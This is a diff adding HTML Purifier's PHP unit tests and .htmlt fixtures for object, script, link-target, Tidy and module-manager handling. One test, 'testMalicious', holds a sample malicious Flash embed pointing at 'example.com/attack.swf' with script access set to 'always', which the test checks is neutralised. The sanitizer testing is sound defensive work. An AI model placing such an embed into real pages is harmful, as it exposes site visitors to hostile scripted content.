+ '<object width="425" height="344" data="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" type="application/x-shockwave-flash"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><param name="movie" value="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" /></object>'
+ );
+ }
+
+ public function testMalicious()
+ {
+ $this->assertResult(
+ '<object width="9999999" height="9999999"><param name="allowScriptAccess" value="always" /><param name="movie" value="http://example.com/attack.swf" /></object>',
+ '<object width="1200" height="1200" data="http://example.com/attack.swf" type="application/x-shockwave-flash"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><param name="movie" value="http://example.com/attack.swf" /></object>'
+ );
+ }
+
+ public function testFull()
+ {
+ $this->assertResult(
+ '<b><object width="425" height="344" type="application/x-shockwave-flash" data="Foobar"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><param name="flashvars" value="foobarbaz=bally" /><param name="movie" value="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" /><param name="wmode" value="window" /></object></b>'
+ );
+ }
+
+ public function testFullScreen()
+ {
+ $this->config->set('HTML.FlashAllowFullScreen', true);
+ $this->assertResult(
+ '<b><object width="425" height="344" type="application/x-shockwave-flash" data="Foobar"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><param name="flashvars" value="foobarbaz=bally" /><param name="movie" value="http://www.youtube.com/v/RVtEQxH7PWA&amp;hl=en" /><param name="wmode" value="window" /><param name="allowFullScreen" value="true" /></object></b>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeScriptingTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeScriptingTest.php
new file mode 100644
index 000000000..20972975a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/SafeScriptingTest.php
@@ -0,0 +1,37 @@
+<?php
+
+class HTMLPurifier_HTMLModule_SafeScriptingTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.SafeScripting', array('http://localhost/foo.js'));
+ }
+
+ public function testMinimal()
+ {
+ $this->assertResult(
+ '<script></script>',
+ ''
+ );
+ }
+
+ public function testGood()
+ {
+ $this->assertResult(
+ '<script type="text/javascript" src="http://localhost/foo.js" />'
+ );
+ }
+
+ public function testBad()
+ {
+ $this->assertResult(
+ '<script type="text/javascript" src="http://localhost/foobar.js" />',
+ ''
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ScriptingTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ScriptingTest.php
new file mode 100644
index 000000000..184b57e09
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/ScriptingTest.php
@@ -0,0 +1,61 @@
+<?php
+
+class HTMLPurifier_HTMLModule_ScriptingTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.Trusted', true);
+ $this->config->set('Output.CommentScriptContents', false);
+ }
+
+ public function testDefaultRemoval()
+ {
+ $this->config->set('HTML.Trusted', false);
+ $this->assertResult(
+ '<script type="text/javascript">foo();</script>', ''
+ );
+ }
+
+ public function testPreserve()
+ {
+ $this->assertResult(
+ '<script type="text/javascript">foo();</script>'
+ );
+ }
+
+ public function testCDATAEnclosure()
+ {
+ $this->assertResult(
+'<script type="text/javascript">//<![CDATA[
+alert("<This is compatible with XHTML>");
+//]]></script>'
+ );
+ }
+
+ public function testAllAttributes()
+ {
+ $this->assertResult(
+ '<script
+ defer="defer"
+ src="test.js"
+ type="text/javascript"
+ >PCDATA</script>'
+ );
+ }
+
+ public function testUnsupportedAttributes()
+ {
+ $this->assertResult(
+ '<script
+ type="text/javascript"
+ charset="utf-8"
+ >PCDATA</script>',
+ '<script type="text/javascript">PCDATA</script>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php
new file mode 100644
index 000000000..c73aea923
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TargetBlankTest.php
@@ -0,0 +1,22 @@
+<?php
+
+class HTMLPurifier_HTMLModule_TargetBlankTest extends HTMLPurifier_HTMLModuleHarness
+{
+
+ public function setUp()
+ {
+ parent::setUp();
+ $this->config->set('HTML.TargetBlank', true);
+ }
+
+ public function testTargetBlank()
+ {
+ $this->assertResult(
+ '<a href="http://google.com">a</a><a href="/local">b</a><a href="mailto:foo@example.com">c</a>',
+ '<a href="http://google.com" target="_blank">a</a><a href="/local">b</a><a href="mailto:foo@example.com">c</a>'
+ );
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php
new file mode 100644
index 000000000..da8bfdb27
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModule/TidyTest.php
@@ -0,0 +1,224 @@
+<?php
+
+Mock::generatePartial(
+ 'HTMLPurifier_HTMLModule_Tidy',
+ 'HTMLPurifier_HTMLModule_Tidy_TestForConstruct',
+ array('makeFixes', 'makeFixesForLevel', 'populate')
+);
+
+class HTMLPurifier_HTMLModule_TidyTest extends HTMLPurifier_Harness
+{
+
+ public function test_getFixesForLevel()
+ {
+ $module = new HTMLPurifier_HTMLModule_Tidy();
+ $module->fixesForLevel['light'][] = 'light-fix';
+ $module->fixesForLevel['medium'][] = 'medium-fix';
+ $module->fixesForLevel['heavy'][] = 'heavy-fix';
+
+ $this->assertIdentical(
+ array(),
+ $module->getFixesForLevel('none')
+ );
+ $this->assertIdentical(
+ array('light-fix' => true),
+ $module->getFixesForLevel('light')
+ );
+ $this->assertIdentical(
+ array('light-fix' => true, 'medium-fix' => true),
+ $module->getFixesForLevel('medium')
+ );
+ $this->assertIdentical(
+ array('light-fix' => true, 'medium-fix' => true, 'heavy-fix' => true),
+ $module->getFixesForLevel('heavy')
+ );
+
+ $this->expectError('Tidy level turbo not recognized');
+ $module->getFixesForLevel('turbo');
+
+ }
+
+ public function test_setup()
+ {
+ $i = 0; // counter, helps us isolate expectations
+
+ // initialize partial mock
+ $module = new HTMLPurifier_HTMLModule_Tidy_TestForConstruct();
+ $module->fixesForLevel['light'] = array('light-fix-1', 'light-fix-2');
+ $module->fixesForLevel['medium'] = array('medium-fix-1', 'medium-fix-2');
+ $module->fixesForLevel['heavy'] = array('heavy-fix-1', 'heavy-fix-2');
+
+ $j = 0;
+ $fixes = array(
+ 'light-fix-1' => $lf1 = $j++,
+ 'light-fix-2' => $lf2 = $j++,
+ 'medium-fix-1' => $mf1 = $j++,
+ 'medium-fix-2' => $mf2 = $j++,
+ 'heavy-fix-1' => $hf1 = $j++,
+ 'heavy-fix-2' => $hf2 = $j++
+ );
+ $module->setReturnValue('makeFixes', $fixes);
+
+ $config = HTMLPurifier_Config::create(array(
+ 'HTML.TidyLevel' => 'none'
+ ));
+ $module->expectAt($i++, 'populate', array(array()));
+ $module->setup($config);
+
+ // basic levels
+
+ $config = HTMLPurifier_Config::create(array(
+ 'HTML.TidyLevel' => 'light'
+ ));
+ $module->expectAt($i++, 'populate', array(array(
+ 'light-fix-1' => $lf1,
+ 'light-fix-2' => $lf2
+ )));
+ $module->setup($config);
+
+ $config = HTMLPurifier_Config::create(array(
+ 'HTML.TidyLevel' => 'heavy'
+ ));
+ $module->expectAt($i++, 'populate', array(array(
+ 'light-fix-1' => $lf1,
+ 'light-fix-2' => $lf2,
+ 'medium-fix-1' => $mf1,
+ 'medium-fix-2' => $mf2,
+ 'heavy-fix-1' => $hf1,
+ 'heavy-fix-2' => $hf2
+ )));
+ $module->setup($config);
+
+ // fine grained tuning
+
+ $config = HTMLPurifier_Config::create(array(
+ 'HTML.TidyLevel' => 'none',
+ 'HTML.TidyAdd' => array('light-fix-1', 'medium-fix-1')
+ ));
+ $module->expectAt($i++, 'populate', array(array(
+ 'light-fix-1' => $lf1,
+ 'medium-fix-1' => $mf1
+ )));
+ $module->setup($config);
+
+ $config = HTMLPurifier_Config::create(array(
+ 'HTML.TidyLevel' => 'medium',
+ 'HTML.TidyRemove' => array('light-fix-1', 'medium-fix-1')
+ ));
+ $module->expectAt($i++, 'populate', array(array(
+ 'light-fix-2' => $lf2,
+ 'medium-fix-2' => $mf2
+ )));
+ $module->setup($config);
+
+ }
+
+ public function test_makeFixesForLevel()
+ {
+ $module = new HTMLPurifier_HTMLModule_Tidy();
+ $module->defaultLevel = 'heavy';
+
+ $module->makeFixesForLevel(array(
+ 'fix-1' => 0,
+ 'fix-2' => 1,
+ 'fix-3' => 2
+ ));
+
+ $this->assertIdentical($module->fixesForLevel['heavy'], array('fix-1', 'fix-2', 'fix-3'));
+ $this->assertIdentical($module->fixesForLevel['medium'], array());
+ $this->assertIdentical($module->fixesForLevel['light'], array());
+
+ }
+ public function test_makeFixesForLevel_undefinedLevel()
+ {
+ $module = new HTMLPurifier_HTMLModule_Tidy();
+ $module->defaultLevel = 'bananas';
+
+ $this->expectError('Default level bananas does not exist');
+
+ $module->makeFixesForLevel(array(
+ 'fix-1' => 0
+ ));
+
+ }
+
+ public function test_getFixType()
+ {
+ // syntax needs documenting
+
+ $module = new HTMLPurifier_HTMLModule_Tidy();
+
+ $this->assertIdentical(
+ $module->getFixType('a'),
+ array('tag_transform', array('element' => 'a'))
+ );
+
+ $this->assertIdentical(
+ $module->getFixType('a@href'),
+ $reuse = array('attr_transform_pre', array('element' => 'a', 'attr' => 'href'))
+ );
+
+ $this->assertIdentical(
+ $module->getFixType('a@href#pre'),
+ $reuse
+ );
+
+ $this->assertIdentical(
+ $module->getFixType('a@href#post'),
+ array('attr_transform_post', array('element' => 'a', 'attr' => 'href'))
+ );
+
+ $this->assertIdentical(
+ $module->getFixType('xml:foo@xml:bar'),
+ array('attr_transform_pre', array('element' => 'xml:foo', 'attr' => 'xml:bar'))
+ );
+
+ $this->assertIdentical(
+ $module->getFixType('blockquote#child'),
+ array('child', array('element' => 'blockquote'))
+ );
+
+ $this->assertIdentical(
+ $module->getFixType('@lang'),
+ array('attr_transform_pre', array('attr' => 'lang'))
+ );
+
+ $this->assertIdentical(
+ $module->getFixType('@lang#post'),
+ array('attr_transform_post', array('attr' => 'lang'))
+ );
+
+ }
+
+ public function test_populate()
+ {
+ $i = 0;
+
+ $module = new HTMLPurifier_HTMLModule_Tidy();
+ $module->populate(array(
+ 'element' => $element = $i++,
+ 'element@attr' => $attr = $i++,
+ 'element@attr#post' => $attr_post = $i++,
+ 'element#child' => $child = $i++,
+ 'element#content_model_type' => $content_model_type = $i++,
+ '@attr' => $global_attr = $i++,
+ '@attr#post' => $global_attr_post = $i++
+ ));
+
+ $module2 = new HTMLPurifier_HTMLModule_Tidy();
+ $e = $module2->addBlankElement('element');
+ $e->attr_transform_pre['attr'] = $attr;
+ $e->attr_transform_post['attr'] = $attr_post;
+ $e->child = $child;
+ $e->content_model_type = $content_model_type;
+ $module2->info_tag_transform['element'] = $element;
+ $module2->info_attr_transform_pre['attr'] = $global_attr;
+ $module2->info_attr_transform_post['attr'] = $global_attr_post;
+
+ $this->assertEqual($module, $module2);
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php
new file mode 100644
index 000000000..2050491c6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleHarness.php
@@ -0,0 +1,12 @@
+<?php
+
+class HTMLPurifier_HTMLModuleHarness extends HTMLPurifier_StrategyHarness
+{
+ public function setup()
+ {
+ parent::setup();
+ $this->obj = new HTMLPurifier_Strategy_Core();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php
new file mode 100644
index 000000000..15f7e559c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleManagerTest.php
@@ -0,0 +1,121 @@
+<?php
+
+class HTMLPurifier_HTMLModuleManagerTest extends HTMLPurifier_Harness
+{
+
+ protected function createManager()
+ {
+ $manager = new HTMLPurifier_HTMLModuleManager();
+
+ $this->config->set('HTML.CustomDoctype', 'Blank');
+ $manager->doctypes->register('Blank');
+
+ $attrdef_nmtokens = new HTMLPurifier_AttrDef_HTML_Nmtokens();
+
+ generate_mock_once('HTMLPurifier_AttrDef');
+ $attrdef = new HTMLPurifier_AttrDefMock();
+ $attrdef->setReturnValue('make', $attrdef_nmtokens);
+ $manager->attrTypes->set('NMTOKENS', $attrdef);
+ return $manager;
+ }
+
+ public function test_addModule()
+ {
+ $manager = $this->createManager();
+
+ // ...but we add user modules
+
+ $common_module = new HTMLPurifier_HTMLModule();
+ $common_module->name = 'Common';
+ $common_module->attr_collections['Common'] = array('class' => 'NMTOKENS');
+ $common_module->content_sets['Flow'] = 'Block | Inline';
+ $manager->addModule($common_module);
+
+ $structural_module = new HTMLPurifier_HTMLModule();
+ $structural_module->name = 'Structural';
+ $structural_module->addElement('p', 'Block', 'Inline', 'Common');
+ $manager->addModule($structural_module);
+
+ $formatting_module = new HTMLPurifier_HTMLModule();
+ $formatting_module->name = 'Formatting';
+ $formatting_module->addElement('em', 'Inline', 'Inline', 'Common');
+ $manager->addModule($formatting_module);
+
+ $unsafe_module = new HTMLPurifier_HTMLModule();
+ $unsafe_module->name = 'Unsafe';
+ $unsafe_module->safe = false;
+ $unsafe_module->addElement('div', 'Block', 'Flow');
+ $manager->addModule($unsafe_module);
+
+ $config = HTMLPurifier_Config::createDefault();
+ $config->set('HTML.Trusted', false);
+ $config->set('HTML.CustomDoctype', 'Blank');
+
+ $manager->setup($config);
+
+ $attrdef_nmtokens = new HTMLPurifier_AttrDef_HTML_Nmtokens();
+
+ $p = new HTMLPurifier_ElementDef();
+ $p->attr['class'] = $attrdef_nmtokens;
+ $p->child = new HTMLPurifier_ChildDef_Optional(array('em', '#PCDATA'));
+ $p->content_model = 'em | #PCDATA';
+ $p->content_model_type = 'optional';
+ $p->descendants_are_inline = true;
+
+ $em = new HTMLPurifier_ElementDef();
+ $em->attr['class'] = $attrdef_nmtokens;
+ $em->child = new HTMLPurifier_ChildDef_Optional(array('em', '#PCDATA'));
+ $em->content_model = 'em | #PCDATA';
+ $em->content_model_type = 'optional';
+ $em->descendants_are_inline = true;
+
+ $this->assertEqual(
+ array('p' => $p, 'em' => $em),
+ $manager->getElements()
+ );
+
+ // test trusted parameter override
+
+ $div = new HTMLPurifier_ElementDef();
+ $div->child = new HTMLPurifier_ChildDef_Optional(array('p', 'div', 'em', '#PCDATA'));
+ $div->content_model = 'p | div | em | #PCDATA';
+ $div->content_model_type = 'optional';
+ $div->descendants_are_inline = false;
+
+ $this->assertEqual($div, $manager->getElement('div', true));
+
+ }
+
+ public function testAllowedModules()
+ {
+ $manager = new HTMLPurifier_HTMLModuleManager();
+ $manager->doctypes->register(
+ 'Fantasy Inventory 1.0', true,
+ array('Weapons', 'Magic')
+ );
+
+ // register these modules so it doesn't blow up
+ $weapons_module = new HTMLPurifier_HTMLModule();
+ $weapons_module->name = 'Weapons';
+ $manager->registerModule($weapons_module);
+
+ $magic_module = new HTMLPurifier_HTMLModule();
+ $magic_module->name = 'Magic';
+ $manager->registerModule($magic_module);
+
+ $config = HTMLPurifier_Config::create(array(
+ 'HTML.CustomDoctype' => 'Fantasy Inventory 1.0',
+ 'HTML.AllowedModules' => 'Weapons'
+ ));
+ $manager->setup($config);
+
+ $this->assertTrue( isset($manager->modules['Weapons']));
+ $this->assertFalse(isset($manager->modules['Magic']));
+
+ }
+
+
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php
new file mode 100644
index 000000000..f4167aac8
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLModuleTest.php
@@ -0,0 +1,146 @@
+<?php
+
+class HTMLPurifier_HTMLModuleTest extends HTMLPurifier_Harness
+{
+
+ public function test_addElementToContentSet()
+ {
+ $module = new HTMLPurifier_HTMLModule();
+
+ $module->addElementToContentSet('b', 'Inline');
+ $this->assertIdentical($module->content_sets, array('Inline' => 'b'));
+
+ $module->addElementToContentSet('i', 'Inline');
+ $this->assertIdentical($module->content_sets, array('Inline' => 'b | i'));
+
+ }
+
+ public function test_addElement()
+ {
+ $module = new HTMLPurifier_HTMLModule();
+ $def = $module->addElement(
+ 'a', 'Inline', 'Optional: #PCDATA', array('Common'),
+ array(
+ 'href' => 'URI'
+ )
+ );
+
+ $module2 = new HTMLPurifier_HTMLModule();
+ $def2 = new HTMLPurifier_ElementDef();
+ $def2->content_model = '#PCDATA';
+ $def2->content_model_type = 'optional';
+ $def2->attr = array(
+ 'href' => 'URI',
+ 0 => array('Common')
+ );
+ $module2->info['a'] = $def2;
+ $module2->elements = array('a');
+ $module2->content_sets['Inline'] = 'a';
+
+ $this->assertIdentical($module, $module2);
+ $this->assertIdentical($def, $def2);
+ $this->assertReference($def, $module->info['a']);
+
+ }
+
+ public function test_parseContents()
+ {
+ $module = new HTMLPurifier_HTMLModule();
+
+ // pre-defined templates
+ $this->assertIdentical(
+ $module->parseContents('Inline'),
+ array('optional', 'Inline | #PCDATA')
+ );
+ $this->assertIdentical(
+ $module->parseContents('Flow'),
+ array('optional', 'Flow | #PCDATA')
+ );
+ $this->assertIdentical(
+ $module->parseContents('Empty'),
+ array('empty', '')
+ );
+
+ // normalization procedures
+ $this->assertIdentical(
+ $module->parseContents('optional: a'),
+ array('optional', 'a')
+ );
+ $this->assertIdentical(
+ $module->parseContents('OPTIONAL :a'),
+ array('optional', 'a')
+ );
+ $this->assertIdentical(
+ $module->parseContents('Optional: a'),
+ array('optional', 'a')
+ );
+
+ // others
+ $this->assertIdentical(
+ $module->parseContents('Optional: a | b | c'),
+ array('optional', 'a | b | c')
+ );
+
+ // object pass-through
+ generate_mock_once('HTMLPurifier_AttrDef');
+ $this->assertIdentical(
+ $module->parseContents(new HTMLPurifier_AttrDefMock()),
+ array(null, null)
+ );
+
+ }
+
+ public function test_mergeInAttrIncludes()
+ {
+ $module = new HTMLPurifier_HTMLModule();
+
+ $attr = array();
+ $module->mergeInAttrIncludes($attr, 'Common');
+ $this->assertIdentical($attr, array(0 => array('Common')));
+
+ $attr = array('a' => 'b');
+ $module->mergeInAttrIncludes($attr, array('Common', 'Good'));
+ $this->assertIdentical($attr, array('a' => 'b', 0 => array('Common', 'Good')));
+
+ }
+
+ public function test_addBlankElement()
+ {
+ $module = new HTMLPurifier_HTMLModule();
+ $def = $module->addBlankElement('a');
+
+ $def2 = new HTMLPurifier_ElementDef();
+ $def2->standalone = false;
+
+ $this->assertReference($module->info['a'], $def);
+ $this->assertIdentical($def, $def2);
+
+ }
+
+ public function test_makeLookup()
+ {
+ $module = new HTMLPurifier_HTMLModule();
+
+ $this->assertIdentical(
+ $module->makeLookup('foo'),
+ array('foo' => true)
+ );
+ $this->assertIdentical(
+ $module->makeLookup(array('foo')),
+ array('foo' => true)
+ );
+
+ $this->assertIdentical(
+ $module->makeLookup('foo', 'two'),
+ array('foo' => true, 'two' => true)
+ );
+ $this->assertIdentical(
+ $module->makeLookup(array('foo', 'two')),
+ array('foo' => true, 'two' => true)
+ );
+
+ }
+
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT.php b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT.php
new file mode 100644
index 000000000..49f8253b0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT.php
@@ -0,0 +1,35 @@
+<?php
+
+class HTMLPurifier_HTMLT extends HTMLPurifier_Harness
+{
+ protected $path;
+
+ public function __construct($path)
+ {
+ $this->path = $path;
+ parent::__construct($path);
+ }
+
+ public function testHtmlt()
+ {
+ $parser = new HTMLPurifier_StringHashParser();
+ $hash = $parser->parseFile($this->path); // assume parser normalizes to "\n"
+ if (isset($hash['SKIPIF'])) {
+ if (eval($hash['SKIPIF'])) return;
+ }
+ $this->config->set('Output.Newline', "\n");
+ if (isset($hash['INI'])) {
+ // there should be a more efficient way than writing another
+ // ini file every time... probably means building a parser for
+ // ini (check out the yaml implementation we saw somewhere else)
+ $ini_file = $this->path . '.ini';
+ file_put_contents($ini_file, $hash['INI']);
+ $this->config->loadIni($ini_file);
+ }
+ $expect = isset($hash['EXPECT']) ? $hash['EXPECT'] : $hash['HTML'];
+ $this->assertPurification(rtrim($hash['HTML']), rtrim($expect));
+ if (isset($hash['INI'])) unlink($ini_file);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt
new file mode 100644
index 000000000..650f00b6b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-preserve.htmlt
@@ -0,0 +1,8 @@
+--INI--
+HTML.AllowedElements = b,i,p,a
+HTML.AllowedAttributes = a.href,*.id
+--HTML--
+<p>Par.</p>
+<p>Para<a href="http://google.com/">gr</a>aph</p>
+Text<b>Bol<i>d</i></b>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt
new file mode 100644
index 000000000..2b6b8eea6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/allowed-remove.htmlt
@@ -0,0 +1,8 @@
+--INI--
+HTML.AllowedElements = b,i,p,a
+HTML.AllowedAttributes = a.href,*.id
+--HTML--
+<span>Not allowed</span><a class="mef" id="foobar">Remove id too!</a>
+--EXPECT--
+Not allowed<a>Remove id too!</a>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt
new file mode 100644
index 000000000..4c1f42778
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/basic.htmlt
@@ -0,0 +1,5 @@
+--HTML--
+<b>basic</b>
+--EXPECT--
+<b>basic</b>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt
new file mode 100644
index 000000000..d8882fe22
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-preserve.htmlt
@@ -0,0 +1,6 @@
+--INI--
+HTML.ForbiddenElements = b
+HTML.ForbiddenAttributes = a@href
+--HTML--
+<p>foo</p>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt
new file mode 100644
index 000000000..1b5985873
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/blacklist-remove.htmlt
@@ -0,0 +1,8 @@
+--INI--
+HTML.ForbiddenElements = b
+HTML.ForbiddenAttributes = a@href
+--HTML--
+<b>Foo<a href="bar">bar</a></b>
+--EXPECT--
+Foo<a>bar</a>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt
new file mode 100644
index 000000000..a5fe3f849
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-preserve.htmlt
@@ -0,0 +1,5 @@
+--INI--
+CSS.AllowedProperties = color,background-color
+--HTML--
+<div style="color:#f00;background-color:#ded;">red</div>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt
new file mode 100644
index 000000000..644b7001a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/css-allowed-remove.htmlt
@@ -0,0 +1,7 @@
+--INI--
+CSS.AllowedProperties = color,background-color
+--HTML--
+<div style="color:#f00;border:1px solid #000">red</div>
+--EXPECT--
+<div style="color:#f00;">red</div>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt
new file mode 100644
index 000000000..fa692e444
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/disable-uri.htmlt
@@ -0,0 +1,6 @@
+--INI--
+URI.Disable = true
+--HTML--
+<img src="foobar" />
+--EXPECT--
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt
new file mode 100644
index 000000000..a46ce4736
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/double-youtube.htmlt
@@ -0,0 +1,6 @@
+--INI--
+HTML.SafeObject = true
+Output.FlashCompat = true
+--HTML--
+<object width="425" height="350" data="http://www.youtube.com/v/BdU--T8rLns" type="application/x-shockwave-flash"><param name="allowScriptAccess" value="never" /><param name="allowNetworking" value="internal" /><param name="movie" value="http://www.youtube.com/v/BdU--T8rLns" /><param name="wmode" value="window" /></object>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt
new file mode 100644
index 000000000..9094c47b0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/empty.htmlt
@@ -0,0 +1,6 @@
+--INI--
+
+--HTML--
+
+--EXPECT--
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt
new file mode 100644
index 000000000..5b9e34a8c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/file-uri.htmlt
@@ -0,0 +1,5 @@
+--INI--
+URI.AllowedSchemes = file
+--HTML--
+<a href="file:///foo">foo</a>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt
new file mode 100644
index 000000000..1c1460f2c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-default.htmlt
@@ -0,0 +1,5 @@
+--HTML--
+<span id="moon">foobar</span>
+--EXPECT--
+<span>foobar</span>
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt
new file mode 100644
index 000000000..70ddcf99f
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-enabled.htmlt
@@ -0,0 +1,6 @@
+--INI--
+Attr.EnableID = true
+--HTML--
+<span id="moon">foobar</span>
+<img id="folly" src="folly.png" alt="Omigosh!" />
+--# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt
new file mode 100644
index 000000000..12755bea3
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/tests/HTMLPurifier/HTMLT/id-img.htmlt
@@ -0,0 +1,8 @@
+--INI--
+Attr.EnableID = true
+Core.LexerImpl = DirectLex
+--HTML--
+<img src="img_11775.jpg" alt="[Img #11775]" id="EMBEDDED_IMG_11775" >
+--EXPECT--
+<img src="img_11775.jpg" alt="[Img #11775]" id="EMBEDDED_IMG_11775" />
+--# vim: et sw=4 sts=4
